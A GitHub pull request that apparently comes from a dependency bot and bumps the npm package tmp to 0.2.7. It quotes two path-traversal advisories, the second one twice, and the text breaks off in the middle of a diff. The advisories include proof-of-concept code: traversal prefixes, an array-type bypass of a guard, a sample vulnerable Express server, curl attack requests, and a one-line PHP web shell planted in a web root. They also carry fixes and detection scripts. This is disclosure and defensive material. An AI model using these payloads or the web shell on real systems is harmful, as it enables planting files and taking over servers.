Skip to content

chore(deps): Update security packages/create-plugin tmp to v0.2.7 [SECURITY]#2738

Open
renovate-sh-app[bot] wants to merge 1 commit into
mainfrom
renovate/security-packagescreate-plugin-tmp
Open

chore(deps): Update security packages/create-plugin tmp to v0.2.7 [SECURITY]#2738
renovate-sh-app[bot] wants to merge 1 commit into
mainfrom
renovate/security-packagescreate-plugin-tmp

Conversation

@renovate-sh-app

Copy link
Copy Markdown
Contributor

This PR contains the following updates:

Package Change Age Confidence
tmp 0.2.60.2.7 age confidence

Warning

Some dependencies could not be looked up. Check the warning logs for more information.


tmp has Path Traversal via unsanitized prefix/postfix that enables directory escape

CVE-2026-44705 / GHSA-ph9p-34f9-6g65

More information

Details

Summary

The tmp npm package contains a path traversal vulnerability that allows escaping the intended temporary directory when untrusted data flows into the prefix, postfix, or dir options. By embedding traversal sequences (e.g., ../) or path separators in these parameters, attackers can cause files to be created outside the configured temporary base directory at attacker-controlled locations with the privileges of the running process. This vulnerability affects applications that pass user-controlled data to tmp's file/directory creation functions without proper input sanitization.

Details

Root Cause:
The vulnerability exists in tmp's path construction logic where user-supplied options are directly concatenated into file paths without sanitization or validation.

Technical Flow:

  1. Filename Construction: tmp builds filenames as <prefix>-<pid>-<random>-<postfix>
  2. Path Composition: Final path computed as path.join(tmpDir, opts.dir, name)
  3. Path Normalization: Node.js path.join() normalizes traversal sequences, allowing escape
  4. File Creation: File created at the resulting (potentially escaped) path

Vulnerable Pattern:

// In tmp package internals
const name = `${opts.prefix || ''}-${process.pid}-${randomString}-${opts.postfix || ''}`;
const finalPath = path.join(tmpDir, opts.dir || '', name);
// No validation that finalPath remains within tmpDir

Path Traversal Mechanics:

  • prefix/postfix traversal: ../../../evil in prefix escapes directory structure
  • Absolute path bypass: If opts.dir is absolute, path.join() ignores tmpDir completely
  • Normalization exploitation: path.join() resolves ../ sequences regardless of surrounding text
  • Cross-platform impact: Works on Windows (..\\), Unix (../), and mixed path systems

Key Vulnerability Points:

  • No input validation on prefix, postfix, or dir parameters
  • Direct use of user input in path construction
  • Reliance on path.join() normalization without containment checks
  • Missing post-construction validation that final path remains within intended directory
PoC

Basic Path Traversal via prefix:

const tmp = require('tmp');
const path = require('path');
const fs = require('fs');

// Create a controlled base directory
const baseDir = fs.mkdtempSync('/tmp/safe-base-');
console.log('Base directory:', baseDir);

// Escape via prefix
tmp.file({ 
  tmpdir: baseDir, 
  prefix: '../escaped' 
}, (err, filepath, fd, cleanup) => {
  if (err) throw err;
  
  console.log('Created file:', filepath);
  console.log('Relative to base:', path.relative(baseDir, filepath));
  // Output shows: ../escaped-<pid>-<random>
  
  cleanup();
});

Directory Escape via postfix:

tmp.file({ 
  tmpdir: baseDir, 
  postfix: '/../../pwned.txt' 
}, (err, filepath, fd, cleanup) => {
  if (err) throw err;
  
  console.log('Escaped file:', filepath);
  console.log('Escaped outside base:', !filepath.startsWith(baseDir));
  
  cleanup();
});

Absolute Path Bypass via dir:

tmp.file({ 
  tmpdir: '/safe/tmp/dir', 
  dir: '/tmp/evil-location',
  prefix: 'bypassed'
}, (err, filepath, fd, cleanup) => {
  if (err) throw err;
  
  console.log('Bypassed to:', filepath);
  // File created in /tmp/evil-location instead of /safe/tmp/dir
  
  cleanup();
});

Advanced Multi-Vector Attack:

const maliciousOpts = {
  tmpdir: '/app/safe-tmp',
  dir: '../../../tmp',           // Escape base
  prefix: '../sensitive-area/',   // Further traversal
  postfix: 'malicious.config'     // Controlled filename
};

tmp.file(maliciousOpts, (err, filepath, fd, cleanup) => {
  // Results in file creation at: /tmp/sensitive-area/malicious.config
  console.log('Final malicious path:', filepath);
  cleanup();
});

Real-World Attack Simulation:

// Simulate web API that accepts user file prefix
function createUserTempFile(userPrefix, content) {
  return new Promise((resolve, reject) => {
    tmp.file({ prefix: userPrefix }, (err, path, fd, cleanup) => {
      if (err) return reject(err);
      
      fs.writeSync(fd, content);
      console.log('User file created at:', path);
      resolve({ path, cleanup });
    });
  });
}

// Attacker input
const attackerPrefix = '../../../var/www/html/backdoor';
createUserTempFile(attackerPrefix, '<?php system($_GET["cmd"]); ?>');
// Creates PHP backdoor in web root instead of temp directory
Impact

Arbitrary File Creation:

  • Files created outside intended temporary directories
  • Attacker control over file placement location
  • Potential to overwrite existing files (depending on creation flags)
  • Cross-platform exploitation capability

Attack Scenarios:

1. Web Application Configuration Poisoning:

  • User uploads file with malicious prefix/postfix
  • tmp creates "temporary" file in application configuration directory
  • Malicious configuration loaded on next application restart

2. Cache Poisoning:

  • Application caches user content using tmp
  • Attacker escapes to cache directory of different user/tenant
  • Poisoned cache serves malicious content to other users

3. Build Pipeline Compromise:

  • CI/CD system processes user PRs with tmp usage
  • Malicious prefix escapes to build output directories
  • Compromised build artifacts deployed to production

4. Container Escape Attempt:

  • Containerized application uses tmp with user input
  • Attacker attempts to escape container temp restrictions
  • Files created in host-mapped volumes or sensitive container areas

5. Multi-Tenant Service Bypass:

  • SaaS platform isolates tenants using separate tmp directories
  • Tenant A escapes their tmp space to tenant B's area
  • Cross-tenant data access and potential privilege escalation

Business Impact:

  • Data Integrity: Unauthorized file placement can corrupt application state
  • Service Disruption: Files in wrong locations may break application functionality
  • Security Bypass: Escape temporary isolation boundaries
  • Compliance Violations: Files containing sensitive data placed in uncontrolled locations
Affected Products
  • Ecosystem: npm
  • Package name: tmp
  • Repository: github.com/raszi/node-tmp
  • Affected versions: All versions with vulnerable path construction logic
  • Patched versions: None currently available

Component Impact:

  • tmp.file() function - vulnerable to prefix/postfix/dir traversal
  • tmp.dir() function - vulnerable to same parameter manipulation
  • tmp.tmpName() function - if using affected path construction

Severity: High
CVSS v3.1: 8.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L)

CWE Classification:

  • CWE-22: Improper Limitation of a Pathname to a Restricted Directory (Path Traversal)
Remediation

Input Validation and Sanitization:

  1. Sanitize prefix/postfix:
function sanitizePrefix(prefix) {
  if (!prefix) return '';
  // Remove path separators and traversal sequences
  return path.basename(String(prefix)).replace(/[\.\/\\]/g, '-');
}

function sanitizePostfix(postfix) {
  if (!postfix) return '';
  // Allow only safe characters
  return String(postfix).replace(/[^A-Za-z0-9._-]/g, '');
}
  1. Validate dir parameter:
function validateDir(dir, baseDir) {
  if (!dir) return '';
  
  // Reject absolute paths
  if (path.isAbsolute(dir)) {
    throw new Error('Absolute paths not allowed for dir option');
  }
  
  // Resolve and check containment
  const resolved = path.resolve(baseDir, dir);
  const relative = path.relative(baseDir, resolved);
  
  if (relative.startsWith('..') || path.isAbsolute(relative)) {
    throw new Error('Dir option escapes base directory');
  }
  
  return dir;
}
  1. Post-construction path validation:
function validateFinalPath(finalPath, baseDir) {
  const resolved = path.resolve(finalPath);
  const relative = path.relative(path.resolve(baseDir), resolved);
  
  if (relative.startsWith('..') || path.isAbsolute(relative)) {
    throw new Error('Generated path escapes temporary directory');
  }
  
  return resolved;
}

Secure Implementation Pattern:

function createTempFile(options) {
  const opts = { ...options };
  
  // Sanitize inputs
  opts.prefix = sanitizePrefix(opts.prefix);
  opts.postfix = sanitizePostfix(opts.postfix);
  opts.dir = validateDir(opts.dir, opts.tmpdir);
  
  // Create with sanitized options
  return tmp.file(opts, (err, path, fd, cleanup) => {
    if (err) return callback(err);
    
    // Validate final path
    try {
      validateFinalPath(path, opts.tmpdir);
    } catch (validationErr) {
      cleanup();
      return callback(validationErr);
    }
    
    callback(null, path, fd, cleanup);
  });
}
Workarounds

For Application Developers:

  1. Input Sanitization:
// Sanitize before passing to tmp
function safeTmpFile(userOptions) {
  const safeOpts = {
    ...userOptions,
    prefix: userOptions.prefix ? path.basename(userOptions.prefix) : undefined,
    postfix: userOptions.postfix ? userOptions.postfix.replace(/[^A-Za-z0-9._-]/g, '') : undefined,
    dir: undefined // Don't allow user-controlled dir
  };
  
  return tmp.file(safeOpts);
}
  1. Path Validation:
function validateTmpPath(tmpPath, expectedBase) {
  const relativePath = path.relative(expectedBase, tmpPath);
  if (relativePath.startsWith('..') || path.isAbsolute(relativePath)) {
    throw new Error('Temporary file path escaped base directory');
  }
  return tmpPath;
}
  1. Restricted Usage:
// Only use tmp with known-safe, literal values
tmp.file({ prefix: 'app-temp-', postfix: '.tmp' }, callback);
// Never: tmp.file({ prefix: userInput }, callback);

For Security Teams:

  1. Code Review Patterns:
##### Search for dangerous tmp usage
grep -r "tmp\.file.*prefix.*req\|tmp\.file.*postfix.*req" .
grep -r "tmp\.dir.*opts\|tmp\.file.*opts" .
  1. Runtime Monitoring:
// Monitor for files created outside expected temp areas
const originalFile = tmp.file;
tmp.file = function(options, callback) {
  return originalFile(options, (err, path, fd, cleanup) => {
    if (!err && options.tmpdir) {
      const relative = require('path').relative(options.tmpdir, path);
      if (relative.startsWith('..')) {
        console.warn('Path traversal detected:', path);
      }
    }
    return callback(err, path, fd, cleanup);
  });
};
Detection and Monitoring

Static Analysis:

  • Scan for tmp usage with user-controlled input
  • Identify unsanitized parameter passing to tmp functions
  • Review file creation patterns in temporary directories

Runtime Detection:

// Log suspicious tmp operations
function monitorTmpUsage() {
  const originalTmpFile = require('tmp').file;
  
  require('tmp').file = function(options = {}, callback) {
    // Check for suspicious patterns
    const suspicious = [
      options.prefix && options.prefix.includes('..'),
      options.postfix && options.postfix.includes('..'),  
      options.dir && path.isAbsolute(options.dir)
    ].some(Boolean);
    
    if (suspicious) {
      console.warn('Suspicious tmp usage detected:', options);
    }
    
    return originalTmpFile.call(this, options, callback);
  };
}

File System Monitoring:

##### Monitor file creation outside expected temp directories
inotifywait -m -r --format '%w%f %e' /tmp /var/tmp | while read file event; do
  if [[ "$event" == *"CREATE"* && "$file" != /tmp/tmp-* ]]; then
    echo "Unexpected file creation: $file"
  fi
done
Acknowledgements

Reported by: Mapta / BugBunny_ai

Severity

  • CVSS Score: 7.7 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


tmp: Type-confusion bypass of _assertPath allows path traversal via non-string prefix/postfix/template

CVE-2026-49982 / GHSA-7c78-jf6q-g5cm

More information

Details

Summary

The _assertPath guard added to tmp@0.2.6 rejects only string values that contain the substring ... It is bypassed when prefix, postfix, or template is supplied as a non-string value (Array, Buffer, or any object) whose includes('..') returns falsy but whose stringification still contains ../. The value flows through Array.prototype.join/String coercion inside _generateTmpName and path.join(tmpDir, opts.dir, name), producing a final path that escapes tmpdir and creates a file or directory at an attacker-controlled location with the host process's privileges.

This affects any application that forwards untrusted request data (a common pattern is JSON body fields or qs-parsed bracket-array query strings such as ?prefix[]=...) into tmp.file, tmp.fileSync, tmp.dir, tmp.dirSync, tmp.tmpName, or tmp.tmpNameSync without explicit type coercion.

Impact
  • Arbitrary file creation outside the intended temporary directory, with the running process's filesystem permissions.
  • Directory creation outside the intended tree (via tmp.dir{,Sync}), which can then host a subsequent symlink swap.
  • File content that the application writes to the returned descriptor lands at the attacker's chosen path. In multi-tenant services this crosses tenant boundaries; in CI/build systems it can write into source trees, build outputs, or web roots.

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L - score 8.1 (High). Network-reachable when the consumer passes request data unchanged.

Affected versions

tmp >= 0.2.6 (the _assertPath guard introduced by commit 7ef2728 / merged in efa4a06f). Earlier releases are vulnerable to the plain string form (already published as a separate advisory) plus this bypass.

Vulnerable code

lib/tmp.js at tag v0.2.6, commit 41f7159:

// lib/tmp.js:533-539
function _assertPath(path) {
  if (path.includes("..")) {
    throw new Error("Relative value not allowed");
  }

  return path;
}
// lib/tmp.js:577-580
options.prefix = _isUndefined(options.prefix) ? '' : _assertPath(options.prefix);
options.postfix = _isUndefined(options.postfix) ? '' : _assertPath(options.postfix);
options.template = _isUndefined(options.template) ? undefined : _assertPath(options.template);
// lib/tmp.js:515-525  - opts.prefix and opts.postfix are stringified by Array.prototype.join
const name = [
  opts.prefix ? opts.prefix : 'tmp',
  '-',
  process.pid,
  '-',
  _randomChars(12),
  opts.postfix ? '-' + opts.postfix : ''
].join('');

return path.join(tmpDir, opts.dir, name);

Root cause: _assertPath assumes its argument is a string. For an Array argument, Array.prototype.includes('..') checks element equality (so ['../escape'].includes('..') is false); for an arbitrary object, Object.prototype.includes does not exist and a duck-typed includes: () => false defeats the check entirely. In both shapes, the subsequent [...].join('') and path.join(...) coerce the value to its underlying string, which still contains ../.

How untrusted data reaches _assertPath

Two production-realistic shapes that yield a non-string prefix/postfix/template:

  1. JSON request bodies. express.json() (and any other JSON body parser) preserves the parsed value's type. A body of {"prefix":["../escape"]} reaches the handler as an Array.
  2. qs-style bracket-array query strings. Express 4's default qs parser turns ?prefix[]=../escape into ['../escape']. The same applies to any framework using qs (Fastify, Koa with bodyparser, Hapi via configured parsers, etc.).

The consumer pattern is the natural one - forward req.body.prefix directly into tmp.file({ prefix, tmpdir }) with no developer-side coercion. The 0.2.6 release notes describe the guard as preventing prefix/postfix traversal, so consumers reasonably believe the guard covers the typical input flow.

Proof of concept (string vs array)

poc.js (run after npm install tmp@0.2.6):

const tmp = require('tmp');
const path = require('path');
const fs = require('fs');

const baseDir = fs.mkdtempSync('/tmp/safe-base-');

console.log('[negative control] string "../escape" - must be blocked');
try {
  const r = tmp.fileSync({ tmpdir: baseDir, prefix: '../escape' });
  console.log('  UNEXPECTED, file at:', r.name);
  r.removeCallback();
} catch (e) {
  console.log('  BLOCKED as expected:', e.message);
}

console.log('\n[bypass] array ["../escape"] - same effective value, not blocked');
try {
  const r = tmp.fileSync({ tmpdir: baseDir, prefix: ['../escape'] });
  console.log('  CREATED at:', r.name);
  console.log('  ESCAPED:', !path.resolve(r.name).startsWith(path.resolve(baseDir)));
  r.removeCallback();
} catch (e) {
  console.log('  BLOCKED:', e.message);
}

console.log('\n[bypass] duck-typed object {toString, includes} - also not blocked');
try {
  const r = tmp.fileSync({
    tmpdir: baseDir,
    prefix: { toString: () => '../escape', includes: () => false }
  });
  console.log('  CREATED at:', r.name);
  console.log('  ESCAPED:', !path.resolve(r.name).startsWith(path.resolve(baseDir)));
  r.removeCallback();
} catch (e) {
  console.log('  BLOCKED:', e.message);
}

Observed output on tmp@0.2.6:

[negative control] string "../escape" - must be blocked
  BLOCKED as expected: Relative value not allowed

[bypass] array ["../escape"] - same effective value, not blocked
  CREATED at: /private/tmp/escape-78856-D3p4mEWyapSn
  ESCAPED: true

[bypass] duck-typed object {toString, includes} - also not blocked
  CREATED at: /private/tmp/escape-78856-zP4qXkRm12Lf
  ESCAPED: true
End-to-end reproduction (against the deployed npm package)

Install:

mkdir tmp-bypass-poc && cd tmp-bypass-poc
npm init -y
npm install tmp@0.2.6 express@5

victim-server.js - realistic Express app that forwards a JSON body field into tmp.file:

const express = require('express');
const tmp = require('tmp');
const fs = require('fs');
const path = require('path');

const app = express();
app.use(express.json());

const TENANT_BASE = fs.mkdtempSync('/tmp/tenant-base-');
console.log('[victim] Tenant base dir:', TENANT_BASE);

app.post('/upload', (req, res) => {
  const userPrefix = req.body.prefix;  // attacker-controlled
  console.log('[victim] received prefix:', JSON.stringify(userPrefix),
              '(type:', Array.isArray(userPrefix) ? 'array' : typeof userPrefix, ')');

  tmp.file({ tmpdir: TENANT_BASE, prefix: userPrefix }, (err, filepath, fd, cleanup) => {
    if (err) {
      console.log('[victim] tmp error:', err.message);
      return res.status(400).json({ error: err.message });
    }
    fs.writeSync(fd, 'attacker-controlled-content');
    fs.closeSync(fd);
    const escaped = !path.resolve(filepath).startsWith(path.resolve(TENANT_BASE));
    console.log('[victim] file created at:', filepath, 'ESCAPED:', escaped);
    res.json({ filepath, escaped, tenantBase: TENANT_BASE });
  });
});

app.listen(3000, () => console.log('[victim] http://127.0.0.1:3000'));

Run:

node victim-server.js &

Drive three requests from another shell:

echo '=== ATTACK 1: string prefix - caught by 0.2.6 ==='
curl -s -X POST -H 'Content-Type: application/json' \
  -d '{"prefix":"../escape-string"}' http://127.0.0.1:3000/upload

echo
echo '=== ATTACK 2: array prefix - bypasses 0.2.6 ==='
curl -s -X POST -H 'Content-Type: application/json' \
  -d '{"prefix":["../escape-array"]}' http://127.0.0.1:3000/upload

echo
echo '=== ATTACK 3: multi-level traversal toward /etc ==='
curl -s -X POST -H 'Content-Type: application/json' \
  -d '{"prefix":["../../../etc/poc-tmp-bypass"]}' http://127.0.0.1:3000/upload

Captured transcript (verbatim from the test rig):

=== ATTACK 1: string prefix - caught by 0.2.6 ===
{"error":"Relative value not allowed"}

=== ATTACK 2: array prefix - bypasses 0.2.6 ===
{"filepath":"/private/tmp/escape-array-79635-gEFyGCBNFSTh","escaped":true,"tenantBase":"/tmp/tenant-base-3XHwPZ"}

=== ATTACK 3: multi-level traversal toward /etc ===
{"error":"EACCES: permission denied, open '/etc/poc-tmp-bypass-79635-PEIABptX8JGH'"}

Server log:

[victim] Tenant base dir: /tmp/tenant-base-3XHwPZ
[victim] received prefix: "../escape-string" (type: string )
[victim] tmp error: Relative value not allowed
[victim] received prefix: ["../escape-array"] (type: array )
[victim] file created at: /private/tmp/escape-array-79635-gEFyGCBNFSTh ESCAPED: true
[victim] received prefix: ["../../../etc/poc-tmp-bypass"] (type: array )
[victim] tmp error: EACCES: permission denied, open '/etc/poc-tmp-bypass-79635-PEIABptX8JGH'

Observations:

  • ATTACK 1 (string ../escape-string) is rejected at _assertPath. The 0.2.6 guard works for plain strings.
  • ATTACK 2 (array ["../escape-array"]) passes the guard and creates a file at /private/tmp/escape-array-..., outside the tenant base /tmp/tenant-base-3XHwPZ. The file content is attacker-controlled-content. Confirmed with ls:
$ ls -la /tmp/escape-array-*
-rw-------@&#8203; 1 rick  wheel  27 May 27 20:25 /tmp/escape-array-79635-gEFyGCBNFSTh
$ cat /tmp/escape-array-*
attacker-controlled-content
$ ls -la /tmp/tenant-base-3XHwPZ/
total 0
drwx------ 2 rick  wheel   64 May 27 20:25 .

Tenant base is empty. The escape is complete.

  • ATTACK 3 (array ["../../../etc/poc-tmp-bypass"]) reaches fs.open for /etc/poc-tmp-bypass-.... The open fails only because of POSIX permissions, not because tmp blocked the path. On a process running as root, or against any world-writable target directory, this would succeed.
Negative control with patched build

Applying the suggested fix below and re-running ATTACK 2:

=== ATTACK 2: array prefix - after fix ===
{"error":"prefix option must be a string, got \"object\"."}

The patched build rejects non-string prefix/postfix/template with a clear type error before the path is constructed.

Suggested fix

Patch _assertPath to require a string argument. The check value.includes('..') is sound only over strings; any non-string with a custom or array-element includes semantics bypasses it.

--- a/lib/tmp.js
+++ b/lib/tmp.js
@&#8203;@&#8203; -528,11 +528,14 @&#8203;@&#8203; function _generateTmpName(opts) {
 /**
- * Check the prefix and postfix options
+ * Check the prefix, postfix, and template options
  *
  * @&#8203;private
  */
-function _assertPath(path) {
-  if (path.includes("..")) {
+function _assertPath(option, value) {
+  if (typeof value !== 'string') {
+    throw new Error(`${option} option must be a string, got "${typeof value}".`);
+  }
+  if (value.includes("..")) {
     throw new Error("Relative value not allowed");
   }

-  return path;
+  return value;
 }
@&#8203;@&#8203; -575,9 +578,9 @&#8203;@&#8203; function _assertOptionsBase(options) {
   options.unsafeCleanup = !!options.unsafeCleanup;

   // for completeness' sake only, also keep (multiple) blanks if the user, purportedly sane, requests us to
-  options.prefix = _isUndefined(options.prefix) ? '' : _assertPath(options.prefix);
-  options.postfix = _isUndefined(options.postfix) ? '' : _assertPath(options.postfix);
-  options.template = _isUndefined(options.template) ? undefined : _assertPath(options.template);
+  options.prefix = _isUndefined(options.prefix) ? '' : _assertPath('prefix', options.prefix);
+  options.postfix = _isUndefined(options.postfix) ? '' : _assertPath('postfix', options.postfix);
+  options.template = _isUndefined(options.template) ? undefined : _assertPath('template', options.template);
 }

Defence-in-depth, recommended in addition to the type check: validate the final resolved path against tmpdir after _generateTmpName, similar to what _getRelativePath already does for dir and template. That way any future bypass through a different vector (e.g., a future Node path change, or a different option) does not exit tmpdir.

Fix PR

https://github.com/raszi/node-tmp-ghsa-7c78-jf6q-g5cm/pull/1

Credit

Reported by tonghuaroot.

Severity

  • CVSS Score: 8.2 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


tmp: Type-confusion bypass of _assertPath allows path traversal via non-string prefix/postfix/template

CVE-2026-49982 / GHSA-7c78-jf6q-g5cm

More information

Details

Summary

The _assertPath guard added to tmp@0.2.6 rejects only string values that contain the substring ... It is bypassed when prefix, postfix, or template is supplied as a non-string value (Array, Buffer, or any object) whose includes('..') returns falsy but whose stringification still contains ../. The value flows through Array.prototype.join/String coercion inside _generateTmpName and path.join(tmpDir, opts.dir, name), producing a final path that escapes tmpdir and creates a file or directory at an attacker-controlled location with the host process's privileges.

This affects any application that forwards untrusted request data (a common pattern is JSON body fields or qs-parsed bracket-array query strings such as ?prefix[]=...) into tmp.file, tmp.fileSync, tmp.dir, tmp.dirSync, tmp.tmpName, or tmp.tmpNameSync without explicit type coercion.

Impact
  • Arbitrary file creation outside the intended temporary directory, with the running process's filesystem permissions.
  • Directory creation outside the intended tree (via tmp.dir{,Sync}), which can then host a subsequent symlink swap.
  • File content that the application writes to the returned descriptor lands at the attacker's chosen path. In multi-tenant services this crosses tenant boundaries; in CI/build systems it can write into source trees, build outputs, or web roots.

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L - score 8.1 (High). Network-reachable when the consumer passes request data unchanged.

Affected versions

tmp >= 0.2.6 (the _assertPath guard introduced by commit 7ef2728 / merged in efa4a06f). Earlier releases are vulnerable to the plain string form (already published as a separate advisory) plus this bypass.

Vulnerable code

lib/tmp.js at tag v0.2.6, commit 41f7159:

// lib/tmp.js:533-539
function _assertPath(path) {
  if (path.includes("..")) {
    throw new Error("Relative value not allowed");
  }

  return path;
}
// lib/tmp.js:577-580
options.prefix = _isUndefined(options.prefix) ? '' : _assertPath(options.prefix);
options.postfix = _isUndefined(options.postfix) ? '' : _assertPath(options.postfix);
options.template = _isUndefined(options.template) ? undefined : _assertPath(options.template);
// lib/tmp.js:515-525  - opts.prefix and opts.postfix are stringified by Array.prototype.join
const name = [
  opts.prefix ? opts.prefix : 'tmp',
  '-',
  process.pid,
  '-',
  _randomChars(12),
  opts.postfix ? '-' + opts.postfix : ''
].join('');

return path.join(tmpDir, opts.dir, name);

Root cause: _assertPath assumes its argument is a string. For an Array argument, Array.prototype.includes('..') checks element equality (so ['../escape'].includes('..') is false); for an arbitrary object, Object.prototype.includes does not exist and a duck-typed includes: () => false defeats the check entirely. In both shapes, the subsequent [...].join('') and path.join(...) coerce the value to its underlying string, which still contains ../.

How untrusted data reaches _assertPath

Two production-realistic shapes that yield a non-string prefix/postfix/template:

  1. JSON request bodies. express.json() (and any other JSON body parser) preserves the parsed value's type. A body of {"prefix":["../escape"]} reaches the handler as an Array.
  2. qs-style bracket-array query strings. Express 4's default qs parser turns ?prefix[]=../escape into ['../escape']. The same applies to any framework using qs (Fastify, Koa with bodyparser, Hapi via configured parsers, etc.).

The consumer pattern is the natural one - forward req.body.prefix directly into tmp.file({ prefix, tmpdir }) with no developer-side coercion. The 0.2.6 release notes describe the guard as preventing prefix/postfix traversal, so consumers reasonably believe the guard covers the typical input flow.

Proof of concept (string vs array)

poc.js (run after npm install tmp@0.2.6):

const tmp = require('tmp');
const path = require('path');
const fs = require('fs');

const baseDir = fs.mkdtempSync('/tmp/safe-base-');

console.log('[negative control] string "../escape" - must be blocked');
try {
  const r = tmp.fileSync({ tmpdir: baseDir, prefix: '../escape' });
  console.log('  UNEXPECTED, file at:', r.name);
  r.removeCallback();
} catch (e) {
  console.log('  BLOCKED as expected:', e.message);
}

console.log('\n[bypass] array ["../escape"] - same effective value, not blocked');
try {
  const r = tmp.fileSync({ tmpdir: baseDir, prefix: ['../escape'] });
  console.log('  CREATED at:', r.name);
  console.log('  ESCAPED:', !path.resolve(r.name).startsWith(path.resolve(baseDir)));
  r.removeCallback();
} catch (e) {
  console.log('  BLOCKED:', e.message);
}

console.log('\n[bypass] duck-typed object {toString, includes} - also not blocked');
try {
  const r = tmp.fileSync({
    tmpdir: baseDir,
    prefix: { toString: () => '../escape', includes: () => false }
  });
  console.log('  CREATED at:', r.name);
  console.log('  ESCAPED:', !path.resolve(r.name).startsWith(path.resolve(baseDir)));
  r.removeCallback();
} catch (e) {
  console.log('  BLOCKED:', e.message);
}

Observed output on tmp@0.2.6:

[negative control] string "../escape" - must be blocked
  BLOCKED as expected: Relative value not allowed

[bypass] array ["../escape"] - same effective value, not blocked
  CREATED at: /private/tmp/escape-78856-D3p4mEWyapSn
  ESCAPED: true

[bypass] duck-typed object {toString, includes} - also not blocked
  CREATED at: /private/tmp/escape-78856-zP4qXkRm12Lf
  ESCAPED: true
End-to-end reproduction (against the deployed npm package)

Install:

mkdir tmp-bypass-poc && cd tmp-bypass-poc
npm init -y
npm install tmp@0.2.6 express@5

victim-server.js - realistic Express app that forwards a JSON body field into tmp.file:

const express = require('express');
const tmp = require('tmp');
const fs = require('fs');
const path = require('path');

const app = express();
app.use(express.json());

const TENANT_BASE = fs.mkdtempSync('/tmp/tenant-base-');
console.log('[victim] Tenant base dir:', TENANT_BASE);

app.post('/upload', (req, res) => {
  const userPrefix = req.body.prefix;  // attacker-controlled
  console.log('[victim] received prefix:', JSON.stringify(userPrefix),
              '(type:', Array.isArray(userPrefix) ? 'array' : typeof userPrefix, ')');

  tmp.file({ tmpdir: TENANT_BASE, prefix: userPrefix }, (err, filepath, fd, cleanup) => {
    if (err) {
      console.log('[victim] tmp error:', err.message);
      return res.status(400).json({ error: err.message });
    }
    fs.writeSync(fd, 'attacker-controlled-content');
    fs.closeSync(fd);
    const escaped = !path.resolve(filepath).startsWith(path.resolve(TENANT_BASE));
    console.log('[victim] file created at:', filepath, 'ESCAPED:', escaped);
    res.json({ filepath, escaped, tenantBase: TENANT_BASE });
  });
});

app.listen(3000, () => console.log('[victim] http://127.0.0.1:3000'));

Run:

node victim-server.js &

Drive three requests from another shell:

echo '=== ATTACK 1: string prefix - caught by 0.2.6 ==='
curl -s -X POST -H 'Content-Type: application/json' \
  -d '{"prefix":"../escape-string"}' http://127.0.0.1:3000/upload

echo
echo '=== ATTACK 2: array prefix - bypasses 0.2.6 ==='
curl -s -X POST -H 'Content-Type: application/json' \
  -d '{"prefix":["../escape-array"]}' http://127.0.0.1:3000/upload

echo
echo '=== ATTACK 3: multi-level traversal toward /etc ==='
curl -s -X POST -H 'Content-Type: application/json' \
  -d '{"prefix":["../../../etc/poc-tmp-bypass"]}' http://127.0.0.1:3000/upload

Captured transcript (verbatim from the test rig):

=== ATTACK 1: string prefix - caught by 0.2.6 ===
{"error":"Relative value not allowed"}

=== ATTACK 2: array prefix - bypasses 0.2.6 ===
{"filepath":"/private/tmp/escape-array-79635-gEFyGCBNFSTh","escaped":true,"tenantBase":"/tmp/tenant-base-3XHwPZ"}

=== ATTACK 3: multi-level traversal toward /etc ===
{"error":"EACCES: permission denied, open '/etc/poc-tmp-bypass-79635-PEIABptX8JGH'"}

Server log:

[victim] Tenant base dir: /tmp/tenant-base-3XHwPZ
[victim] received prefix: "../escape-string" (type: string )
[victim] tmp error: Relative value not allowed
[victim] received prefix: ["../escape-array"] (type: array )
[victim] file created at: /private/tmp/escape-array-79635-gEFyGCBNFSTh ESCAPED: true
[victim] received prefix: ["../../../etc/poc-tmp-bypass"] (type: array )
[victim] tmp error: EACCES: permission denied, open '/etc/poc-tmp-bypass-79635-PEIABptX8JGH'

Observations:

  • ATTACK 1 (string ../escape-string) is rejected at _assertPath. The 0.2.6 guard works for plain strings.
  • ATTACK 2 (array ["../escape-array"]) passes the guard and creates a file at /private/tmp/escape-array-..., outside the tenant base /tmp/tenant-base-3XHwPZ. The file content is attacker-controlled-content. Confirmed with ls:
$ ls -la /tmp/escape-array-*
-rw-------@&#8203; 1 rick  wheel  27 May 27 20:25 /tmp/escape-array-79635-gEFyGCBNFSTh
$ cat /tmp/escape-array-*
attacker-controlled-content
$ ls -la /tmp/tenant-base-3XHwPZ/
total 0
drwx------ 2 rick  wheel   64 May 27 20:25 .

Tenant base is empty. The escape is complete.

  • ATTACK 3 (array ["../../../etc/poc-tmp-bypass"]) reaches fs.open for /etc/poc-tmp-bypass-.... The open fails only because of POSIX permissions, not because tmp blocked the path. On a process running as root, or against any world-writable target directory, this would succeed.
Negative control with patched build

Applying the suggested fix below and re-running ATTACK 2:

=== ATTACK 2: array prefix - after fix ===
{"error":"prefix option must be a string, got \"object\"."}

The patched build rejects non-string prefix/postfix/template with a clear type error before the path is constructed.

Suggested fix

Patch _assertPath to require a string argument. The check value.includes('..') is sound only over strings; any non-string with a custom or array-element includes semantics bypasses it.

--- a/lib/tmp.js
+++ b/lib/tmp.js
@&#8203;@&#8203; -528,11 +528,14 @&#8203;@&#8203; function _generateTmpName(opts) {
 /**
- * Check the prefix and postfix options
+ * Check the prefix, postfix, and template options
  *
  * @&#8203;private
  */
-function _assertPath(path) {
-  if (path.includes("..")) {
+function _assertPath(option, value) {
+  if (typeof value !== 'string') {
+    throw new Error(`${option} option must be a string, got "${typeof value}".`);
+  }
+  if (value.includes("..")) {
     throw new Error("Relative value not allowed");
   }

-  return path;
+  return value;
 }
@&#8203;@&#8203; -575,9 +578,9 @&#8203;@&#8203; function _assertOptionsBase(options) {
   options.unsafeCleanup = !!options.unsafeCleanup;

   // for completeness' sake only, also keep (multiple) blanks if the user, purportedly sane, requests us to
-  options.prefix = _isUndefined(options.prefix) ? '' : _assertPath(options.prefix);
-  options.postfix = _isUndefined(options.postfix) ? '' : _assertPath(options.postfix);
